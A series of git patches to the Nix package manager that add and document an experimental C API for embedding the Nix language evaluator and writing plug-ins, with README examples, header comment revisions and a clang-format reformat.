{"n", NULL}; + PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example nix plugin function: increments an int"); + nix_register_primop(NULL, p); + nix_gc_decref(NULL, p); +} +``` + +**Usage:** +``` +$ gcc plugin.c $(pkg-config nix-expr-c --libs --cflags) -shared -o plugin.so +$ nix --plugin-files ./plugin.so repl +nix-repl> builtins.increment 1 +2 +``` diff --git a/doc/external-api/doxygen.cfg.in b/doc/external-api/doxygen.cfg.in index d78188900..c9f2e4b7b 100644 --- a/doc/external-api/doxygen.cfg.in +++ b/doc/external-api/doxygen.cfg.in @@ -38,9 +38,10 @@ GENERATE_LATEX = NO INPUT = \ src/libutil/c \ src/libexpr/c \ - src/libstore/c + src/libstore/c \ + doc/external-api/README.md -FILE_PATTERNS = nix_api_*.h +FILE_PATTERNS = nix_api_*.h *.md # The INCLUDE_PATH tag can be used to specify one or more directories that # contain include files that are not input files but should be processed by the @@ -52,3 +53,5 @@ INCLUDE_PATH = @RAPIDCHECK_HEADERS@ EXCLUDE_PATTERNS = *_internal.h GENERATE_TREEVIEW = YES OPTIMIZE_OUTPUT_FOR_C = YES + +USE_MDFILE_AS_MAINPAGE = doc/external-api/README.md From 40f5d48d3c74e562a4f031b822bb73bdefdf4144 Mon Sep 17 00:00:00 2001 From: Yorick Date: Mon, 28 Aug 2023 16:20:46 +0200 Subject: [PATCH 0334/1251] Apply documentation suggestions from code review Co-authored-by: Valentin Gagarin --- doc/external-api/README.md | 30 ++++++++++++++++++++++------ doc/external-api/doxygen.cfg.in | 2 +- src/libexpr/c/nix-expr-c.pc.in | 2 +- src/libexpr/c/nix_api_expr.h | 34 +++++++++++++++++--------------- src/libexpr/c/nix_api_external.h | 2 +- src/libexpr/c/nix_api_value.h | 19 +++++++++--------- src/libstore/c/nix-store-c.pc.in | 2 +- src/libstore/c/nix_api_store.h | 18 ++++++++--------- 8 files changed, 65 insertions(+), 44 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 20015e7a9..71a181ede 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -1,11 +1,27 @@ # Getting started -There are two ways to interface with nix: embedding it, or as a plugin. Embedding means you link one of the nix libraries in your program and use it from there, while being a plugin means you make a library that gets loaded by the nix evaluator, specified through a configuration option. +These C bindings are **experimental** at the moment, which means they can still change any time or get removed again, but the plan is to provide a stable external C API to the Nix language and the Nix store. + +The language library allows evaluating Nix expressions and interacting with Nix language values. +The Nix store API is still rudimentary, and only allows initialising and connecting to a store for the Nix language evaluator to interact with. + +Currently there are two ways to interface with the Nix language evaluator programmatically: +1. Embedding the evaluator +2. Writing language plug-ins + +Embedding means you link the Nix C libraries in your program and use them from there. +Adding a plug-in means you make a library that gets loaded by the Nix language evaluator, specified through a configuration option. + +Many of the components and mechanisms involved are not yet documented, therefore please refer to the [Nix source code](https://github.com/NixOS/nix/) for details. +Additions to in-code documentation and the reference manual are highly appreciated. + + +The following examples, for simplicity, don't include error handling. +See the [Handling errors](@ref errors) section for more information. # Embedding the Nix Evaluator -These examples don't include error handling. -See the [Handling errors](@ref errors) section for more information. +In this example we programmatically start the Nix language evaluator with a dummy store (that has no store paths and cannot be written to), and evaluate the Nix expression `builtins.nixVersion`. **main.c:** ```C @@ -18,7 +34,7 @@ int main() { nix_libexpr_init(NULL); Store* store = nix_store_open(NULL, "dummy://", NULL); - State* state = nix_state_create(NULL, NULL, store); // empty nix path + State* state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) Value *value = nix_alloc_value(NULL, state); nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); @@ -40,7 +56,9 @@ nix version 1.2.3 ``` -# Writing a Nix Plugin +# Writing a Nix language plug-in +In this example we add a custom primitive operation (*primop*) to `builtins`. +It will increment the argument if it is an integer and return `null` otherwise. **plugin.c:** ```C @@ -59,7 +77,7 @@ void increment(State* state, int pos, Value** args, Value* v) { void nix_plugin_entry() { const char* args[] = {"n", NULL}; - PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example nix plugin function: increments an int"); + PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example custom built-in function: increments an integer"); nix_register_primop(NULL, p); nix_gc_decref(NULL, p); } diff --git a/doc/external-api/doxygen.cfg.in b/doc/external-api/doxygen.cfg.in index c9f2e4b7b..454514935 100644 --- a/doc/external-api/doxygen.cfg.in +++ b/doc/external-api/doxygen.cfg.in @@ -18,7 +18,7 @@ PROJECT_NUMBER = @PACKAGE_VERSION@ # for a project that appears at the top of each page and should give viewer a # quick idea about the purpose of the project. Keep the description short. -PROJECT_BRIEF = "Nix, the purely functional package manager; stable external interfaces" +PROJECT_BRIEF = "Nix, the purely functional package manager: C API (experimental)" # If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output. # The default value is: YES. diff --git a/src/libexpr/c/nix-expr-c.pc.in b/src/libexpr/c/nix-expr-c.pc.in index 897773f20..06897064d 100644 --- a/src/libexpr/c/nix-expr-c.pc.in +++ b/src/libexpr/c/nix-expr-c.pc.in @@ -3,7 +3,7 @@ libdir=@libdir@ includedir=@includedir@ Name: Nix -Description: Nix Package Manager - C API +Description: Nix Language Evaluator - C API Version: @PACKAGE_VERSION@ Requires: nix-store-c Libs: -L${libdir} -lnixexprc diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h index 77632de7c..926d0f7a0 100644 --- a/src/libexpr/c/nix_api_expr.h +++ b/src/libexpr/c/nix_api_expr.h @@ -1,7 +1,7 @@ #ifndef NIX_API_EXPR_H #define NIX_API_EXPR_H /** @defgroup libexpr libexpr - * @brief Bindings to the Nix evaluator + * @brief Bindings to the Nix language evaluator * * Example (without error handling): * @code{.c} @@ -38,17 +38,18 @@ extern "C" { // Type definitions /** - * @brief Represents a nix evaluator state. + * @brief Represents a state of the Nix language evaluator. * - * Multiple can be created for multi-threaded + * Multiple states can be created for multi-threaded * operation. * @struct State + * @see nix_state_create */ typedef struct State State; // nix::EvalState /** - * @brief Represents a nix value. + * @brief Represents a value in the Nix language. * - * Owned by the GC. + * Owned by the garbage collector. * @struct Value * @see value_manip */ @@ -56,7 +57,7 @@ typedef void Value; // nix::Value // Function prototypes /** - * @brief Initializes the Nix expression evaluator. + * @brief Initialize the Nix language evaluator. * * This function should be called before creating a State. * This function can be called multiple times. @@ -73,6 +74,7 @@ nix_err nix_libexpr_init(nix_c_context *context); * @param[in] state The state of the evaluation. * @param[in] expr The Nix expression to parse. * @param[in] path The file path to associate with the expression. + * This is required for expressions that contain relative paths (such as `./.`) that are resolved relative to the given directory. * @param[out] value The result of the evaluation. You should allocate this * yourself. * @return NIX_OK if the evaluation was successful, an error code otherwise. @@ -109,7 +111,7 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. * @param[in,out] value The Nix value to force. - * @post values is not of type NIX_TYPE_THUNK + * @post value is not of type NIX_TYPE_THUNK * @return NIX_OK if the force operation was successful, an error code * otherwise. */ @@ -133,10 +135,10 @@ nix_err nix_value_force_deep(nix_c_context *context, State *state, Value *value); /** - * @brief Creates a new Nix state. + * @brief Create a new Nix language evaluator state. * * @param[out] context Optional, stores error information - * @param[in] searchPath The NIX_PATH. + * @param[in] searchPath Array of strings corresponding to entries in NIX_PATH. * @param[in] store The Nix store to use. * @return A new Nix state or NULL on failure. */ @@ -155,28 +157,28 @@ void nix_state_free(State *state); /** @addtogroup GC * @brief Reference counting and garbage collector operations * - * Nix's evaluator uses a garbage collector. To ease C interop, we implement + * The Nix language evaluator uses a garbage collector. To ease C interop, we implement * a reference counting scheme, where objects will be deallocated * when there are no references from the Nix side, and the reference count kept * by the C API reaches `0`. * * Functions returning a garbage-collected object will automatically increase * the refcount for you. You should make sure to call `nix_gc_decref` when - * you're done. + * you're done with a value returned by the evaluator. * @{ */ /** - * @brief Increase the GC refcount. + * @brief Increment the garbage collector reference counter for the given object. * - * The nix C api keeps alive objects by refcounting. - * When you're done with a refcounted pointer, call nix_gc_decref. + * The Nix language evaluator C API keeps track of alive objects by reference counting. + * When you're done with a refcounted pointer, call nix_gc_decref(). * * @param[out] context Optional, stores error information * @param[in] object The object to keep alive */ nix_err nix_gc_incref(nix_c_context *context, const void *object); /** - * @brief Decrease the GC refcount + * @brief Decrement the garbage collector reference counter for the given object * * @param[out] context Optional, stores error information * @param[in] object The object to stop referencing @@ -193,7 +195,7 @@ void nix_gc_now(); /** * @brief Register a callback that gets called when the object is garbage * collected. - * @note objects can only have a single finalizer. This function overwrites + * @note Objects can only have a single finalizer. This function overwrites existing values * silently. * @param[in] obj the object to watch * @param[in] cd the data to pass to the finalizer diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr/c/nix_api_external.h index 692f8000c..3dc9d79de 100644 --- a/src/libexpr/c/nix_api_external.h +++ b/src/libexpr/c/nix_api_external.h @@ -22,7 +22,7 @@ extern "C" { // cffi start /** - * @brief Represents a string owned by nix. + * @brief Represents a string owned by the Nix language evaluator. * @see nix_set_owned_string */ typedef struct nix_string_return nix_string_return; diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index af1d211a3..a4e643317 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -73,9 +73,10 @@ typedef struct ExternalValue ExternalValue; */ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); -/** @brief Allocate a primop +/** @brief Allocate a PrimOp * - * Owned by the GC. Use nix_gc_decref when you're done with the pointer + * Owned by the garbage collector. + * Use nix_gc_decref() when you're done with the returned PrimOp. * * @param[out] context Optional, stores error information * @param[in] fun callback @@ -89,12 +90,12 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, const char *name, const char **args, const char *doc); -/** @brief add a primop to builtins +/** @brief add a primop to the `builtins` attribute set * - * Only applies to new States. + * Only applies to States created after this call. * - * Moves your primop into the global - * registry, meaning your input primOp is no longer usable + * Moves your PrimOp into the global evaluator + * registry, meaning your input PrimOp pointer is no longer usable * (but still possibly subject to garbage collection). * * @param[out] context Optional, stores error information @@ -108,7 +109,7 @@ nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp); /** @brief Allocate a Nix value * - * Owned by the GC. Use nix_gc_decref when you're done with the pointer + * Owned by the GC. Use nix_gc_decref() when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] state nix evaluator state * @return value, or null in case of errors @@ -116,7 +117,7 @@ nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp); */ Value *nix_alloc_value(nix_c_context *context, State *state); /** @addtogroup value_manip Manipulating values - * @brief Functions to inspect and change nix Value's + * @brief Functions to inspect and change Nix language values, represented by Value. * @{ */ /** @name Getters @@ -128,7 +129,7 @@ Value *nix_alloc_value(nix_c_context *context, State *state); * @return type of nix value */ ValueType nix_get_type(nix_c_context *context, const Value *value); -/** @brief Get type name of value +/** @brief Get type name of value as defined in the evaluator * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return type name, owned string diff --git a/src/libstore/c/nix-store-c.pc.in b/src/libstore/c/nix-store-c.pc.in index 563bd2f94..de3c7b4c6 100644 --- a/src/libstore/c/nix-store-c.pc.in +++ b/src/libstore/c/nix-store-c.pc.in @@ -3,7 +3,7 @@ libdir=@libdir@ includedir=@includedir@ Name: Nix -Description: Nix Package Manager - C API +Description: Nix Store - C API Version: @PACKAGE_VERSION@ Libs: -L${libdir} -lnixstorec -lnixutilc Cflags: -I${includedir}/nix diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index b15e161b3..36d712f01 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -19,9 +19,9 @@ extern "C" { #endif // cffi start -/** @brief reference to a nix store */ +/** @brief Reference to a Nix store */ typedef struct Store Store; -/** @brief nix store path */ +/** @brief Nix store path */ typedef struct StorePath StorePath; /** @@ -79,9 +79,9 @@ nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, // returns: owned StorePath* /** - * @brief parse a nix store path into a StorePath + * @brief Parse a Nix store path into a StorePath * - * Don't forget to free this path using nix_store_path_free + * @note Don't forget to free this path using nix_store_path_free()! * @param[out] context Optional, stores error information * @param[in] store nix store reference * @param[in] path Path string to parse, copied @@ -90,7 +90,7 @@ nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, StorePath *nix_store_parse_path(nix_c_context *context, Store *store, const char *path); -/** @brief Deallocate a nix StorePath +/** @brief Deallocate a StorePath * * Does not fail. * @param[in] p the path to free @@ -98,9 +98,9 @@ StorePath *nix_store_parse_path(nix_c_context *context, Store *store, void nix_store_path_free(StorePath *p); /** - * @brief check if a storepath is valid (exists in the store) + * @brief Check if a StorePath is valid (i.e. that corresponding store object and its closure of references exists in the store) * @param[out] context Optional, stores error information - * @param[in] store nix store reference + * @param[in] store Nix Store reference * @param[in] path Path to check * @return true or false, error info in context */ @@ -109,12 +109,12 @@ bool nix_store_is_valid_path(nix_c_context *context, Store *store, // nix_err nix_store_ensure(Store*, const char*); // nix_err nix_store_build_paths(Store*); /** - * @brief Build a nix store path + * @brief Realise a Nix store path * * Blocking, calls cb once for each built output * * @param[out] context Optional, stores error information - * @param[in] store nix store reference + * @param[in] store Nix Store reference * @param[in] path Path to build * @param[in] userdata data to pass to every callback invocation * @param[in] cb called for every built output From 5d82d6e7336d595ab2a3354547641eadc158c6e7 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 11 Aug 2023 11:49:10 +0200 Subject: [PATCH 0335/1251] nix_api: fix missing includes in headers Forward declaration doesn't work here, since we define classes that contain the objects --- src/libexpr/c/nix_api_expr_internal.h | 7 ++----- src/libutil/c/nix_api_util_internal.h | 7 +++---- 2 files changed, 5 insertions(+), 9 deletions(-) diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h index 3ee3b18af..bae50cf59 100644 --- a/src/libexpr/c/nix_api_expr_internal.h +++ b/src/libexpr/c/nix_api_expr_internal.h @@ -1,11 +1,8 @@ #ifndef NIX_API_EXPR_INTERNAL_H #define NIX_API_EXPR_INTERNAL_H -// forward declaration -namespace nix { -class EvalState; -class BindingsBuilder; -}; // namespace nix +#include "eval.hh" +#include "attr-set.hh" struct State { nix::EvalState state; diff --git a/src/libutil/c/nix_api_util_internal.h b/src/libutil/c/nix_api_util_internal.h index 9ece28588..013d3bbbb 100644 --- a/src/libutil/c/nix_api_util_internal.h +++ b/src/libutil/c/nix_api_util_internal.h @@ -2,11 +2,10 @@ #define NIX_API_UTIL_INTERNAL_H #include +#include -// forward declaration -namespace nix { -class Error; -}; +#include "error.hh" +#include "nix_api_util.h" struct nix_c_context { nix_err last_err_code = NIX_OK; From 9d380c0f7649922207673fae4fda2e3edf8ee742 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 16:42:59 +0200 Subject: [PATCH 0336/1251] C API: clarify some documentation --- src/libexpr/c/nix_api_expr.h | 8 +++++--- src/libexpr/c/nix_api_value.h | 12 ++++++------ src/libstore/c/nix_api_store.cc | 6 +++--- src/libstore/c/nix_api_store.h | 8 ++++---- src/libstore/globals.hh | 7 ++++--- 5 files changed, 22 insertions(+), 19 deletions(-) diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h index 926d0f7a0..a6b902f96 100644 --- a/src/libexpr/c/nix_api_expr.h +++ b/src/libexpr/c/nix_api_expr.h @@ -59,8 +59,9 @@ typedef void Value; // nix::Value /** * @brief Initialize the Nix language evaluator. * - * This function should be called before creating a State. - * This function can be called multiple times. + * This function must be called at least once, + * at some point before constructing a State for the first time. + * This function can be called multiple times, and is idempotent. * * @param[out] context Optional, stores error information * @return NIX_OK if the initialization was successful, an error code otherwise. @@ -106,7 +107,8 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, * * @note You don't need this function for basic API usage, since all functions * that return a value call it for you. The only place you will see a - * NIX_TYPE_THUNK is in the primop callback. + * NIX_TYPE_THUNK is in the arguments that are passed to a PrimOp function + * you supplied to nix_alloc_primop. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index a4e643317..f4d9c9584 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -66,12 +66,12 @@ typedef struct ExternalValue ExternalValue; */ /** @brief Function pointer for primops * @param[in] state Evaluator state - * @param[in] pos position of function call - * @param[in] args list of arguments - * @param[out] v return value + * @param[in] pos Call position, opaque index into the state's position table. + * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before use. + * @param[out] ret return value * @see nix_alloc_primop, nix_set_primop */ -typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); +typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *ret); /** @brief Allocate a PrimOp * @@ -80,9 +80,9 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); * * @param[out] context Optional, stores error information * @param[in] fun callback - * @param[in] arity expected amount of function arguments + * @param[in] arity expected number of function arguments * @param[in] name function name - * @param[in] args array of argument names + * @param[in] args array of argument names, NULL-terminated * @param[in] doc optional, documentation for this primop * @return primop, or null in case of errors * @see nix_set_primop diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 0cc1d1983..7b5391034 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -103,7 +103,7 @@ StorePath *nix_store_parse_path(nix_c_context *context, Store *store, nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, void *userdata, - void (*iter)(void *userdata, const char *, + void (*callback)(void *userdata, const char *, const char *)) { if (context) context->last_err_code = NIX_OK; @@ -114,11 +114,11 @@ nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, .outputs = nix::OutputsSpec::All{}, }, }); - if (iter) { + if (callback) { for (auto &[outputName, outputPath] : store->ptr->queryDerivationOutputMap(path->path)) { auto op = store->ptr->printStorePath(outputPath); - iter(userdata, outputName.c_str(), op.c_str()); + callback(userdata, outputName.c_str(), op.c_str()); } } } diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 36d712f01..43ded1860 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -36,7 +36,7 @@ typedef struct StorePath StorePath; nix_err nix_libstore_init(nix_c_context *context); /** - * @brief Loads plugins specified in the settings + * @brief Loads the plugins specified in Nix's plugin-files setting. * * Call this once, after calling your desired init functions and setting * relevant settings. @@ -111,17 +111,17 @@ bool nix_store_is_valid_path(nix_c_context *context, Store *store, /** * @brief Realise a Nix store path * - * Blocking, calls cb once for each built output + * Blocking, calls callback once for each realisedoutput * * @param[out] context Optional, stores error information * @param[in] store Nix Store reference * @param[in] path Path to build * @param[in] userdata data to pass to every callback invocation - * @param[in] cb called for every built output + * @param[in] callback called for every realised output */ nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, void *userdata, - void (*cb)(void *userdata, const char *outname, + void (*callback)(void *userdata, const char *outname, const char *out)); /** diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index e6acf0a4f..1d54cfe56 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1156,9 +1156,10 @@ public: this, {}, "plugin-files", R"( A list of plugin files to be loaded by Nix. Each of these files will - be dlopened by Nix, allowing them to affect execution through static - initialization. In particular, these plugins may construct static - instances of RegisterPrimOp to add new primops or constants to the + be dlopened by Nix. If they contain the symbol `nix_plugin_entry()`, + this symbol will be called. Alternatively, they can affect execution + through static initialization. In particular, these plugins may construct + static instances of RegisterPrimOp to add new primops or constants to the expression language, RegisterStoreImplementation to add new store implementations, RegisterCommand to add new subcommands to the `nix` command, and RegisterSetting to add new nix config settings. See the From 91e53de7d3e3a0ac3e8a1c88e79c83c93744dbd8 Mon Sep 17 00:00:00 2001 From: Yorick Date: Mon, 28 Aug 2023 16:44:07 +0200 Subject: [PATCH 0337/1251] C API: update README example Co-authored-by: Valentin Gagarin --- doc/external-api/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 71a181ede..8b9061df2 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -39,7 +39,7 @@ int main() { nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); nix_value_force(NULL, state, value); - printf("nix version: %s\n", nix_get_string(NULL, value)); + printf("Nix version: %s\n", nix_get_string(NULL, value)); nix_gc_decref(NULL, value); nix_state_free(state); @@ -52,7 +52,7 @@ int main() { ``` $ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main $ ./main -nix version 1.2.3 +Nix version: 2.17 ``` From e1bb799da9e7a5cef5856952ed35a7bd965ca9c1 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 28 Aug 2023 16:45:02 +0200 Subject: [PATCH 0338/1251] C API: reformat according to proposed clang-format file --- src/libexpr/c/nix_api_expr.cc | 225 +++---- src/libexpr/c/nix_api_expr.h | 30 +- src/libexpr/c/nix_api_expr_internal.h | 10 +- src/libexpr/c/nix_api_external.cc | 301 ++++----- src/libexpr/c/nix_api_external.h | 179 +++--- src/libexpr/c/nix_api_value.cc | 782 ++++++++++++------------ src/libexpr/c/nix_api_value.h | 110 ++-- src/libstore/c/nix_api_store.cc | 224 +++---- src/libstore/c/nix_api_store.h | 35 +- src/libstore/c/nix_api_store_internal.h | 5 +- src/libutil/c/nix_api_util.cc | 226 +++---- src/libutil/c/nix_api_util.h | 25 +- src/libutil/c/nix_api_util_internal.h | 41 +- 13 files changed, 1115 insertions(+), 1078 deletions(-) diff --git a/src/libexpr/c/nix_api_expr.cc b/src/libexpr/c/nix_api_expr.cc index a1c6d1acb..dc114c777 100644 --- a/src/libexpr/c/nix_api_expr.cc +++ b/src/libexpr/c/nix_api_expr.cc @@ -21,147 +21,158 @@ #include "gc_cpp.h" #endif -nix_err nix_libexpr_init(nix_c_context *context) { - if (context) - context->last_err_code = NIX_OK; - { - auto ret = nix_libutil_init(context); - if (ret != NIX_OK) - return ret; - } - { - auto ret = nix_libstore_init(context); - if (ret != NIX_OK) - return ret; - } - try { - nix::initGC(); - } - NIXC_CATCH_ERRS +nix_err nix_libexpr_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + { + auto ret = nix_libutil_init(context); + if (ret != NIX_OK) + return ret; + } + { + auto ret = nix_libstore_init(context); + if (ret != NIX_OK) + return ret; + } + try { + nix::initGC(); + } + NIXC_CATCH_ERRS } -nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, - const char *expr, const char *path, - Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::Expr *parsedExpr = state->state.parseExprFromString( - expr, state->state.rootPath(nix::CanonPath(path))); - state->state.eval(parsedExpr, *(nix::Value *)value); - state->state.forceValue(*(nix::Value *)value, nix::noPos); - } - NIXC_CATCH_ERRS +nix_err +nix_expr_eval_from_string(nix_c_context * context, State * state, const char * expr, const char * path, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::Expr * parsedExpr = state->state.parseExprFromString(expr, state->state.rootPath(nix::CanonPath(path))); + state->state.eval(parsedExpr, *(nix::Value *) value); + state->state.forceValue(*(nix::Value *) value, nix::noPos); + } + NIXC_CATCH_ERRS } -nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, - Value *arg, Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - state->state.callFunction(*(nix::Value *)fn, *(nix::Value *)arg, - *(nix::Value *)value, nix::noPos); - state->state.forceValue(*(nix::Value *)value, nix::noPos); - } - NIXC_CATCH_ERRS +nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value * arg, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.callFunction(*(nix::Value *) fn, *(nix::Value *) arg, *(nix::Value *) value, nix::noPos); + state->state.forceValue(*(nix::Value *) value, nix::noPos); + } + NIXC_CATCH_ERRS } -nix_err nix_value_force(nix_c_context *context, State *state, Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - state->state.forceValue(*(nix::Value *)value, nix::noPos); - } - NIXC_CATCH_ERRS +nix_err nix_value_force(nix_c_context * context, State * state, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValue(*(nix::Value *) value, nix::noPos); + } + NIXC_CATCH_ERRS } -nix_err nix_value_force_deep(nix_c_context *context, State *state, - Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - state->state.forceValueDeep(*(nix::Value *)value); - } - NIXC_CATCH_ERRS +nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValueDeep(*(nix::Value *) value); + } + NIXC_CATCH_ERRS } -State *nix_state_create(nix_c_context *context, const char **searchPath_c, - Store *store) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::Strings searchPath; - if (searchPath_c != nullptr) - for (size_t i = 0; searchPath_c[i] != nullptr; i++) - searchPath.push_back(searchPath_c[i]); +State * nix_state_create(nix_c_context * context, const char ** searchPath_c, Store * store) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::Strings searchPath; + if (searchPath_c != nullptr) + for (size_t i = 0; searchPath_c[i] != nullptr; i++) + searchPath.push_back(searchPath_c[i]); - return new State{ - nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; - } - NIXC_CATCH_ERRS_NULL + return new State{nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; + } + NIXC_CATCH_ERRS_NULL } -void nix_state_free(State *state) { delete state; } +void nix_state_free(State * state) +{ + delete state; +} #ifdef HAVE_BOEHMGC std::unordered_map< - const void *, unsigned int, std::hash, + const void *, + unsigned int, + std::hash, std::equal_to, - traceable_allocator>> + traceable_allocator>> nix_refcounts; std::mutex nix_refcount_lock; -nix_err nix_gc_incref(nix_c_context *context, const void *p) { - if (context) - context->last_err_code = NIX_OK; - try { - std::scoped_lock lock(nix_refcount_lock); - auto f = nix_refcounts.find(p); - if (f != nix_refcounts.end()) { - f->second++; - } else { - nix_refcounts[p] = 1; +nix_err nix_gc_incref(nix_c_context * context, const void * p) +{ + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + f->second++; + } else { + nix_refcounts[p] = 1; + } } - } - NIXC_CATCH_ERRS + NIXC_CATCH_ERRS } -nix_err nix_gc_decref(nix_c_context *context, const void *p) { +nix_err nix_gc_decref(nix_c_context * context, const void * p) +{ - if (context) - context->last_err_code = NIX_OK; - try { - std::scoped_lock lock(nix_refcount_lock); - auto f = nix_refcounts.find(p); - if (f != nix_refcounts.end()) { - if (--f->second == 0) - nix_refcounts.erase(f); - } else - throw std::runtime_error("nix_gc_decref: object was not referenced"); - } - NIXC_CATCH_ERRS + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + if (--f->second == 0) + nix_refcounts.erase(f); + } else + throw std::runtime_error("nix_gc_decref: object was not referenced"); + } + NIXC_CATCH_ERRS } -void nix_gc_now() { GC_gcollect(); } +void nix_gc_now() +{ + GC_gcollect(); +} #else -void nix_gc_incref(nix_c_context *context, const void *) { - if (context) - context->last_err_code = NIX_OK; - return NIX_OK; +void nix_gc_incref(nix_c_context * context, const void *) +{ + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; } -void nix_gc_decref(nix_c_context *context, const void *) { - if (context) - context->last_err_code = NIX_OK; - return NIX_OK; +void nix_gc_decref(nix_c_context * context, const void *) +{ + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; } void nix_gc_now() {} #endif -void nix_gc_register_finalizer(void *obj, void *cd, - void (*finalizer)(void *obj, void *cd)) { +void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)) +{ #ifdef HAVE_BOEHMGC - GC_REGISTER_FINALIZER(obj, finalizer, cd, 0, 0); + GC_REGISTER_FINALIZER(obj, finalizer, cd, 0, 0); #endif } diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h index a6b902f96..8cc6c916c 100644 --- a/src/libexpr/c/nix_api_expr.h +++ b/src/libexpr/c/nix_api_expr.h @@ -66,7 +66,7 @@ typedef void Value; // nix::Value * @param[out] context Optional, stores error information * @return NIX_OK if the initialization was successful, an error code otherwise. */ -nix_err nix_libexpr_init(nix_c_context *context); +nix_err nix_libexpr_init(nix_c_context * context); /** * @brief Parses and evaluates a Nix expression from a string. @@ -75,14 +75,14 @@ nix_err nix_libexpr_init(nix_c_context *context); * @param[in] state The state of the evaluation. * @param[in] expr The Nix expression to parse. * @param[in] path The file path to associate with the expression. - * This is required for expressions that contain relative paths (such as `./.`) that are resolved relative to the given directory. + * This is required for expressions that contain relative paths (such as `./.`) that are resolved relative to the given + * directory. * @param[out] value The result of the evaluation. You should allocate this * yourself. * @return NIX_OK if the evaluation was successful, an error code otherwise. */ -nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, - const char *expr, const char *path, - Value *value); +nix_err +nix_expr_eval_from_string(nix_c_context * context, State * state, const char * expr, const char * path, Value * value); /** * @brief Calls a Nix function with an argument. @@ -94,8 +94,7 @@ nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, * @param[out] value The result of the function call. * 